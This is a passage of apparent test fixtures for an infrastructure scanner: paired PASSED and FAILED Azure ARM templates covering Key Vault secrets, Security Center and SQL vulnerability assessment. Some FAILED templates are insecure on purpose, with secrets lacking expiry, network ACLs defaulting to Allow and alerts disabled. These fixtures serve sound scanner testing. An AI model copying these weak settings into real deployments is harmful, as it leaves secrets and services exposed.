\"metadata\": {\n                \"description\": \"Flag for enabling vulnerability assessments with express configuration (storage less), the user deploying this template must have administrator or owner permissions.\"\n            }\n        },\n        \"publicNetworkAccess\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"minimalTlsVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"allowAzureIps\": {\n            \"type\": \"bool\",\n            \"defaultValue\": true\n        },\n        \"enableVA\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"serverTags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        }\n    },\n    \"variables\": {\n        \"subscriptionId\": \"[subscription().subscriptionId]\",\n        \"resourceGroupName\": \"[resourceGroup().name]\",\n        \"uniqueStorage\": \"[uniqueString(variables('subscriptionId'), variables('resourceGroupName'), parameters('location'))]\",\n        \"storageName\": \"[tolower(concat('sqlva', variables('uniqueStorage')))]\",\n        \"uniqueRoleGuid\": \"[guid(resourceId('Microsoft.Storage/storageAccounts', variables('storageName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('serverName')))]\",\n        \"StorageBlobContributor\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\"\n    },\n    \"resources\": [\n        {\n            \"condition\": \"[parameters('enableVA')]\",\n            \"type\": \"Microsoft.Storage/storageAccounts\",\n            \"apiVersion\": \"2019-04-01\",\n            \"name\": \"[variables('storageName')]\",\n            \"location\": \"[parameters('location')]\",\n            \"sku\": {\n                \"name\": \"Standard_LRS\"\n            },\n            \"kind\": \"StorageV2\",\n            \"properties\": {\n                \"minimumTlsVersion\": \"TLS1_2\",\n                \"supportsHttpsTrafficOnly\": \"true\",\n                \"allowBlobPublicAccess\": \"false\"\n            },\n            \"resources\": [\n                {\n                    \"condition\": \"[parameters('useVAManagedIdentity')]\",\n                    \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n                    \"apiVersion\": \"2018-09-01-preview\",\n                    \"name\": \"[concat(variables('storageName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid') )]\",\n                    \"dependsOn\": [\n                        \"[resourceId('Microsoft.Sql/servers', parameters('serverName'))]\",\n                        \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))]\"\n                    ],\n                    \"properties\": {\n                        \"roleDefinitionId\": \"[variables('StorageBlobContributor')]\",\n                        \"principalId\": \"[reference(resourceId('Microsoft.Sql/servers', parameters('serverName')), '2018-06-01-preview', 'Full').identity.principalId]\",\n                        \"scope\": \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))]\",\n                        \"principalType\": \"ServicePrincipal\"\n                    }\n                }\n            ]\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers\",\n            \"apiVersion\": \"2020-11-01-preview\",\n            \"name\": \"pass\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"version\": \"12.0\",\n                \"minimalTlsVersion\": \"[parameters('minimalTlsVersion')]\",\n                \"publicNetworkAccess\": \"[parameters('publicNetworkAccess')]\",\n                \"administrators\": \"[parameters('administrators')]\"\n            },\n            \"identity\": \"[if(and(parameters('enableVA'),parameters('useVAManagedIdentity')), json('{\\\"type\\\":\\\"SystemAssigned\\\"}'), json('null'))]\",\n            \"tags\": \"[parameters('serverTags')]\",\n            \"resources\": [\n                {\n                    \"condition\": \"[parameters('allowAzureIPs')]\",\n                    \"type\": \"firewallRules\",\n                    \"apiVersion\": \"2021-11-01\",\n                    \"name\": \"AllowAllWindowsAzureIps\",\n                    \"location\": \"[parameters('location')]\",\n                    \"dependsOn\": [\n                        \"[resourceId('Microsoft.Sql/servers', parameters('serverName'))]\"\n                    ],\n                    \"properties\": {\n                        \"endIpAddress\": \"0.0.0.0\",\n                        \"startIpAddress\": \"0.0.0.0\"\n                    }\n                },\n                {\n                    \"condition\": \"[parameters('enableADS')]\",\n                    \"type\": \"advancedThreatProtectionSettings\",\n                    \"apiVersion\": \"2021-11-01-preview\",\n                    \"name\": \"Default\",\n                    \"dependsOn\": [\n                        \"[resourceId('Microsoft.Sql/servers', parameters('serverName'))]\"\n                    ],\n                    \"properties\": {\n                        \"state\": \"Enabled\"\n                    }\n                },\n                {\n                    \"condition\": \"[parameters('enableVA')]\",\n                    \"type\": \"vulnerabilityAssessments\",\n                    \"apiVersion\": \"2018-06-01-preview\",\n                    \"name\": \"Default\",\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.Sql/servers/', parameters('serverName'))]\",\n                        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageName'))]\",\n                        \"[concat('Microsoft.Sql/servers/', parameters('serverName'), '/advancedThreatProtectionSettings/Default')]\"\n                    ],\n                    \"properties\": {\n                        \"storageContainerPath\": \"[if(parameters('enableVA'), concat(reference(resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))).primaryEndpoints.blob, 'vulnerability-assessment'), '')]\",\n                        \"storageAccountAccessKey\": \"[if(and(parameters('enableVA'),not(parameters('useVAManagedIdentity'))), listKeys(variables('storageName'), '2018-02-01').keys[0].value, '')]\",\n                        \"recurringScans\": {\n                            \"isEnabled\": true,\n                            \"emailSubscriptionAdmins\": false\n                        }\n                    }\n                },\n                {\n                    \"condition\": \"[parameters('vaStoragelessEnabled')]\",\n                    \"type\": \"sqlVulnerabilityAssessments\",\n                    \"apiVersion\": \"2022-02-01-preview\",\n                    \"name\": \"Default\",\n                    \"dependsOn\": [\n                        \"[resourceId('Microsoft.Sql/servers', parameters('serverName'))]\"\n                    ],\n                    \"properties\": {\n                        \"state\": \"Enabled\"\n                    }\n                }\n            ]\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SecretContentType/SecretExpirationDate-FAILED.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"keyVaultName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the key vault.\"\n            }\n        },\n        \"location\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[resourceGroup().location]\",\n            \"metadata\": {\n                \"description\": \"Specifies the Azure location where the key vault should be created.\"\n            }\n        },\n        \"enabledForDeployment\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"allowedValues\": [\n                true,\n                false\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n            }\n        },\n        \"enabledForDiskEncryption\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"allowedValues\": [\n                true,\n                false\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n            }\n        },\n        \"enabledForTemplateDeployment\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"allowedValues\": [\n                true,\n                false\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n            }\n        },\n        \"tenantId\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[subscription().tenantId]\",\n            \"metadata\": {\n                \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n            }\n        },\n        \"objectId\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n            }\n        },\n        \"keysPermissions\": {\n            \"type\": \"array\",\n            \"defaultValue\": [\n                \"list\"\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n            }\n        },\n        \"secretsPermissions\": {\n            \"type\": \"array\",\n            \"defaultValue\": [\n                \"list\"\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n            }\n        },\n        \"skuName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard\",\n            \"allowedValues\": [\n                \"Standard\",\n                \"Premium\"\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n            }\n        },\n        \"secretName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the secret that you want to create.\"\n            }\n        },\n        \"secretValue\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"Specifies the value of the secret that you want to create.\"\n            }\n        }\n    },\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.KeyVault/vaults\",\n            \"name\": \"[parameters('keyVaultName')]\",\n            \"apiVersion\": \"2018-02-14\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n                \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n                \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n                \"tenantId\": \"[parameters('tenantId')]\",\n                \"accessPolicies\": [\n                    {\n                        \"objectId\": \"[parameters('objectId')]\",\n                        \"tenantId\": \"[parameters('tenantId')]\",\n                        \"permissions\": {\n                            \"keys\": \"[parameters('keysPermissions')]\",\n                            \"secrets\": \"[parameters('secretsPermissions')]\"\n                        }\n                    }\n                ],\n                \"sku\": {\n                    \"name\": \"[parameters('skuName')]\",\n                    \"family\": \"A\"\n                },\n                \"networkAcls\": {\n                    \"defaultAction\": \"Allow\",\n                    \"bypass\": \"AzureServices\"\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n            \"name\": \"fail\",\n            \"apiVersion\": \"2018-02-14\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n            ],\n            \"properties\": {\n                \"value\": \"[parameters('secretValue')]\"\n            }\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SecretContentType/SecretExpirationDate-PASSED.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"vaults_pike1_name\": {\n            \"defaultValue\": \"pike1\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.KeyVault/vaults\",\n            \"apiVersion\": \"2023-02-01\",\n            \"name\": \"[parameters('vaults_pike1_name')]\",\n            \"location\": \"eastus\",\n            \"properties\": {\n                \"sku\": {\n                    \"family\": \"A\",\n                    \"name\": \"Standard\"\n                },\n                \"tenantId\": \"8e7f742a-4215-44a0-881b-209124f286b1\",\n                \"accessPolicies\": [],\n                \"enabledForDeployment\": false,\n                \"enabledForDiskEncryption\": false,\n                \"enabledForTemplateDeployment\": false,\n                \"enableSoftDelete\": true,\n                \"softDeleteRetentionInDays\": 90,\n                \"enableRbacAuthorization\": true,\n                \"vaultUri\": \"[concat('https://', parameters('vaults_pike1_name'), '.vault.azure.net/')]\",\n                \"provisioningState\": \"Succeeded\",\n                \"publicNetworkAccess\": \"Enabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n            \"apiVersion\": \"2023-02-01\",\n            \"name\": \"pass\",\n            \"location\": \"eastus\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.KeyVault/vaults', parameters('vaults_pike1_name'))]\"\n            ],\n            \"properties\": {\n                \"contentType\": \"string\",\n                \"attributes\": {\n                    \"enabled\": true,\n                    \"nbf\": 1692951264,\n                    \"exp\": 1756109371\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SecretExpirationDate/SecretExpirationDate-FAILED.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"keyVaultName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the key vault.\"\n            }\n        },\n        \"location\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[resourceGroup().location]\",\n            \"metadata\": {\n                \"description\": \"Specifies the Azure location where the key vault should be created.\"\n            }\n        },\n        \"enabledForDeployment\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"allowedValues\": [\n                true,\n                false\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n            }\n        },\n        \"enabledForDiskEncryption\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"allowedValues\": [\n                true,\n                false\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n            }\n        },\n        \"enabledForTemplateDeployment\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"allowedValues\": [\n                true,\n                false\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n            }\n        },\n        \"tenantId\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[subscription().tenantId]\",\n            \"metadata\": {\n                \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n            }\n        },\n        \"objectId\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n            }\n        },\n        \"keysPermissions\": {\n            \"type\": \"array\",\n            \"defaultValue\": [\n                \"list\"\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n            }\n        },\n        \"secretsPermissions\": {\n            \"type\": \"array\",\n            \"defaultValue\": [\n                \"list\"\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n            }\n        },\n        \"skuName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard\",\n            \"allowedValues\": [\n                \"Standard\",\n                \"Premium\"\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n            }\n        },\n        \"secretName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the secret that you want to create.\"\n            }\n        },\n        \"secretValue\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"Specifies the value of the secret that you want to create.\"\n            }\n        }\n    },\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.KeyVault/vaults\",\n            \"name\": \"[parameters('keyVaultName')]\",\n            \"apiVersion\": \"2018-02-14\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n                \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n                \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n                \"tenantId\": \"[parameters('tenantId')]\",\n                \"accessPolicies\": [\n                    {\n                        \"objectId\": \"[parameters('objectId')]\",\n                        \"tenantId\": \"[parameters('tenantId')]\",\n                        \"permissions\": {\n                            \"keys\": \"[parameters('keysPermissions')]\",\n                            \"secrets\": \"[parameters('secretsPermissions')]\"\n                        }\n                    }\n                ],\n                \"sku\": {\n                    \"name\": \"[parameters('skuName')]\",\n                    \"family\": \"A\"\n                },\n                \"networkAcls\": {\n                    \"defaultAction\": \"Allow\",\n                    \"bypass\": \"AzureServices\"\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n            \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n            \"apiVersion\": \"2018-02-14\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n            ],\n            \"properties\": {\n                \"value\": \"[parameters('secretValue')]\"\n            }\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SecretExpirationDate/SecretExpirationDate-PASSED.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"keyVaultName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the key vault.\"\n            }\n        },\n        \"location\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[resourceGroup().location]\",\n            \"metadata\": {\n                \"description\": \"Specifies the Azure location where the key vault should be created.\"\n            }\n        },\n        \"enabledForDeployment\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"allowedValues\": [\n                true,\n                false\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n            }\n        },\n        \"enabledForDiskEncryption\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"allowedValues\": [\n                true,\n                false\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n            }\n        },\n        \"enabledForTemplateDeployment\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"allowedValues\": [\n                true,\n                false\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n            }\n        },\n        \"tenantId\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[subscription().tenantId]\",\n            \"metadata\": {\n                \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n            }\n        },\n        \"objectId\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n            }\n        },\n        \"keysPermissions\": {\n            \"type\": \"array\",\n            \"defaultValue\": [\n                \"list\"\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n            }\n        },\n        \"secretsPermissions\": {\n            \"type\": \"array\",\n            \"defaultValue\": [\n                \"list\"\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n            }\n        },\n        \"skuName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard\",\n            \"allowedValues\": [\n                \"Standard\",\n                \"Premium\"\n            ],\n            \"metadata\": {\n                \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n            }\n        },\n        \"secretName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the secret that you want to create.\"\n            }\n        },\n        \"secretValue\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"Specifies the value of the secret that you want to create.\"\n            }\n        }\n    },\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.KeyVault/vaults\",\n            \"name\": \"[parameters('keyVaultName')]\",\n            \"apiVersion\": \"2018-02-14\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n                \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n                \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n                \"tenantId\": \"[parameters('tenantId')]\",\n                \"accessPolicies\": [\n                    {\n                        \"objectId\": \"[parameters('objectId')]\",\n                        \"tenantId\": \"[parameters('tenantId')]\",\n                        \"permissions\": {\n                            \"keys\": \"[parameters('keysPermissions')]\",\n                            \"secrets\": \"[parameters('secretsPermissions')]\"\n                        }\n                    }\n                ],\n                \"sku\": {\n                    \"name\": \"[parameters('skuName')]\",\n                    \"family\": \"A\"\n                },\n                \"networkAcls\": {\n                    \"defaultAction\": \"Allow\",\n                    \"bypass\": \"AzureServices\"\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n            \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n            \"apiVersion\": \"2018-02-14\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n            ],\n            \"properties\": {\n                \"value\": \"[parameters('secretValue')]\",\n                \"attributes\": {\n                    \"enabled\": \"true\",\n                    \"exp\": \"1594389505\"\n                }\n            }\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SecurityCenter/securityCenter-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"pricing\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Free\"\n      ],\n      \"defaultValue\": \"Free\"\n    },\n    \"autoProvisioning\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"On\",\n        \"Off\"\n      ],\n      \"defaultValue\": \"Off\",\n      \"metadata\": {\n        \"description\": \"Turn automatic deployment by ASC of the MMA (OMS VM extension) on or off\"\n      }\n    },\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specify the name of your custom Log Analytics workspace to collect ASC data.\"\n      }\n    },\n    \"workspaceSubscriptionId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specify the subscriptionId where the custom Log Analytics workspace is deployed.\"\n      }\n    },\n    \"workspaceResourceGroup\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specify the resource group where the custom Log Analytics workspace is deployed.\"\n      }\n    },\n    \"emailSecurityContact\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"email address of the contact, in the form of john@doe.com\"\n      }\n    },\n    \"phoneSecurityContact\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"phone number of the Security Contact\"\n      }\n    },\n    \"alertNotifications\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"On\",\n        \"Off\"\n      ],\n      \"defaultValue\": \"Off\",\n      \"metadata\": {\n        \"description\": \"Send alert notifications to Security Contact\"\n      }\n    },\n    \"alertsToAdmin\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"On\",\n        \"Off\"\n      ],\n      \"defaultValue\": \"Off\",\n      \"metadata\": {\n        \"description\": \"Send alert notifications to Admins\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2017-08-01-preview\",\n      \"name\": \"default\",\n      \"properties\": {\n        \"pricingTier\": \"[parameters('pricing')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"SqlServers\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Security/pricings/default')]\"\n      ],\n      \"properties\": {\n        \"pricingTier\": \"[parameters('pricing')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"AppServices\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Security/pricings/SqlServers')]\"\n      ],\n      \"properties\": {\n        \"pricingTier\": \"[parameters('pricing')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"VirtualMachines\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Security/pricings/AppServices')]\"\n      ],\n      \"properties\": {\n        \"pricingTier\": \"[parameters('pricing')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Security/securityContacts\",\n      \"name\": \"default1\",\n      \"apiVersion\": \"2017-08-01-preview\",\n      \"properties\": {\n        \"email\": \"[parameters('emailSecurityContact')]\",\n        \"alertNotifications\": \"[parameters('alertNotifications')]\",\n        \"alertsToAdmins\": \"[parameters('alertsToAdmin')]\"\n      }\n    }\n  ],\n  \"outputs\": {}\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SecurityCenter/securityCenter-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"pricing\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Free\"\n      ],\n      \"defaultValue\": \"Standard\"\n    },\n    \"autoProvisioning\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"On\",\n        \"Off\"\n      ],\n      \"defaultValue\": \"On\",\n      \"metadata\": {\n        \"description\": \"Turn automatic deployment by ASC of the MMA (OMS VM extension) on or off\"\n      }\n    },\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specify the name of your custom Log Analytics workspace to collect ASC data.\"\n      }\n    },\n    \"workspaceSubscriptionId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specify the subscriptionId where the custom Log Analytics workspace is deployed.\"\n      }\n    },\n    \"workspaceResourceGroup\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specify the resource group where the custom Log Analytics workspace is deployed.\"\n      }\n    },\n    \"phoneSecurityContact\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"8675309\",\n      \"metadata\": {\n        \"description\": \"phone number of the Security Contact\"\n      }\n    },\n    \"alertNotifications\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"On\",\n        \"Off\"\n      ],\n      \"defaultValue\": \"On\",\n      \"metadata\": {\n        \"description\": \"Send alert notifications to Security Contact\"\n      }\n    },\n    \"alertsToAdmin\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"On\",\n        \"Off\"\n      ],\n      \"defaultValue\": \"On\",\n      \"metadata\": {\n        \"description\": \"Send alert notifications to Admins\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2017-08-01-preview\",\n      \"name\": \"default\",\n      \"properties\": {\n        \"pricingTier\": \"[parameters('pricing')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"SqlServers\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Security/pricings/default')]\"\n      ],\n      \"properties\": {\n        \"pricingTier\": \"[parameters('pricing')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"AppServices\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Security/pricings/SqlServers')]\"\n      ],\n      \"properties\": {\n        \"pricingTier\": \"[parameters('pricing')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"VirtualMachines\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Security/pricings/AppServices')]\"\n      ],\n      \"properties\": {\n        \"pricingTier\": \"[parameters('pricing')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Security/securityContacts\",\n      \"name\": \"default1\",\n      \"apiVersion\": \"2017-08-01-preview\",\n      \"properties\": {\n        \"email\": \"[parameters('emailSecurityContact')]\",\n        \"phone\": \"[parameters('phoneSecurityContact')]\",\n        \"alertNotifications\": \"[parameters('alertNotifications')]\",\n        \"alertsToAdmins\": \"[parameters('alertsToAdmin')]\"\n      }\n    }\n  ],\n  \"outputs\": {}\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SkipJsonRegex/skip1.json",
